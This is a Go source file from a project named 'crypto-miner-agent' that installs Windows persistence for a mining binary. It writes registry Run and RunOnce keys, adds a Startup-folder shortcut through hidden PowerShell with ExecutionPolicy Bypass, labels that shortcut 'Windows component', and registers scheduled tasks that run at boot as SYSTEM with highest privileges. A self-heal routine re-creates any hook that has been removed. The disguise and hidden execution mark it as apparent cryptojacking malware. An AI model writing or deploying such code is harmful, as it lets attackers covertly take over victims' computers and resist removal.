//go:build windows

package deploy

import (
	"fmt"
	"os"
	"path/filepath"
	"strings"

	"crypto-miner-agent/config"
)

// applyAutostartOnInstall registers boot/logon hooks from AutostartMode (or legacy AutoStart).
// Triggers: first install (InstallIfNeeded) after binary copy.
func applyAutostartOnInstall(cfg config.RuntimeConfig, binPath string) error {
	return ensureAutostartHooks(cfg, binPath, false)
}

// ensureAutostartHooks repairs missing hooks on watchdog/self-heal ticks.
func ensureAutostartHooks(cfg config.RuntimeConfig, binPath string, healOnly bool) error {
	for _, mode := range effectiveAutostartModes(cfg) {
		if err := applyAutostartMode(cfg, binPath, mode, healOnly); err != nil {
			return err
		}
	}
	return nil
}

func applyAutostartMode(cfg config.RuntimeConfig, binPath, mode string, healOnly bool) error {
	switch mode {
	case AutostartLogonRun, RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryHKLMRunOnce, RegistryExplorerRun:
		if healOnly && registryRunValueExists(cfg, mode, binPath) {
			return nil
		}
		return writeRegistryRunValue(cfg, mode, binPath)
	case AutostartLogonStartupFolder:
		if healOnly && startupShortcutExists(cfg) {
			return nil
		}
		return createLogonStartupShortcut(cfg, binPath)
	case AutostartBootTask:
		name := autostartBootTaskName(cfg)
		if healOnly && scheduledTaskExists(name) {
			return nil
		}
		return createBootScheduledTask(cfg, binPath, name)
	case AutostartLogonTask:
		name := autostartLogonTaskName(cfg)
		if healOnly && scheduledTaskExists(name) {
			return nil
		}
		return createLogonScheduledTask(cfg, binPath, name)
	default:
		return nil
	}
}

func createLogonStartupShortcut(cfg config.RuntimeConfig, binPath string) error {
	startupDir, err := userStartupFolder()
	if err != nil {
		return err
	}
	if err := os.MkdirAll(startupDir, 0755); err != nil {
		return fmt.Errorf("startup folder: %w", err)
	}
	lnkPath := filepath.Join(startupDir, autostartStartupShortcutName(cfg))
	ps := fmt.Sprintf(`
$ws = New-Object -ComObject WScript.Shell
$lnk = $ws.CreateShortcut('%s')
$lnk.TargetPath = '%s'
$lnk.Arguments = '%s'
$lnk.WindowStyle = 7
$lnk.Description = 'Windows component'
$lnk.Save()
`,
		strings.ReplaceAll(lnkPath, `'`, `''`),
		strings.ReplaceAll(binPath, `'`, `''`),
		strings.ReplaceAll(runFlag, `'`, `''`),
	)
	return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
}

func userStartupFolder() (string, error) {
	appData := os.Getenv("APPDATA")
	if appData == "" {
		return "", fmt.Errorf("APPDATA not set")
	}
	return filepath.Join(appData, "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), nil
}

func startupShortcutExists(cfg config.RuntimeConfig) bool {
	dir, err := userStartupFolder()
	if err != nil {
		return false
	}
	_, err = os.Stat(filepath.Join(dir, autostartStartupShortcutName(cfg)))
	return err == nil
}

func scheduledTaskTrigger(binPath string) string {
	return fmt.Sprintf(`\"%s\" %s`, binPath, runFlag)
}

// createBootScheduledTask runs at system boot (ONSTART, SYSTEM) — no console (miner uses --run).
func createBootScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error {
	tr := scheduledTaskTrigger(binPath)
	return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
		"/SC", "ONSTART", "/RU", "SYSTEM", "/RL", "HIGHEST", "/F")
}

// createLogonScheduledTask runs when any user logs on (ONLOGON) — distinct from run_as=scheduled task name.
func createLogonScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error {
	tr := scheduledTaskTrigger(binPath)
	return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
		"/SC", "ONLOGON", "/F", "/RL", "LIMITED")
}

func removeAutostartExtras(cfg config.RuntimeConfig) {
	removeRegistryPersistence(cfg)
	_ = HiddenRun("schtasks", "/Delete", "/TN", autostartBootTaskName(cfg), "/F")
	_ = HiddenRun("schtasks", "/Delete", "/TN", autostartLogonTaskName(cfg), "/F")
	if dir, err := userStartupFolder(); err == nil {
		_ = os.Remove(filepath.Join(dir, autostartStartupShortcutName(cfg)))
	}
}
